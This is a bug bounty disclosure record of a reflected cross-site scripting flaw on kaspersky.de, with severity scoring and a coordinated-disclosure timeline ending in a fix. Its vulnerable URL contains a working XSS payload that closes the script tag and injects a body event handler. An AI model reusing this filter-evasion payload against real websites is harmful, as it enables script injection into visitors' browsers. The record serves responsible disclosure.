kaspersky.de XSS vulnerability

2018-02-20T16:56:00
ID OBB:564221
Type openbugbounty
Reporter Y4r4G_
Modified 2018-03-31T13:23:00

Description

Open Bug Bounty ID: OBB-564221

Description| Value
---|---
Affected Website:| kaspersky.de
Vulnerable Application:| Custom Code
Vulnerability Type:| XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score:| 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Disclosure Standard:| Coordinated Disclosure based on ISO 29147 guidelines
Remediation Guide:| OWASP XSS Prevention Cheat Sheet

Vulnerable URL:
https://www.kaspersky.de/blog//?s=%22%27--!%3E%3C/Script%0C%3E%3CBody/OnPageShow=confirm(document.domain)%3E&submit;=
Coordinated Disclosure Timeline

Description| Value
---|---
Vulnerability Reported:| 20 February, 2018 16:56 GMT
Vulnerability Verified:| 20 February, 2018 17:05 GMT
Website Operator Notified:| 20 February, 2018 17:05 GMT
Vulnerability Published:| 20 February, 2018 17:05 GMT[without any technical details]
Vulnerability Fixed:| 31 March, 2018 13:23 GMT
Public Disclosure:| 31 March, 2018 13:23 GMT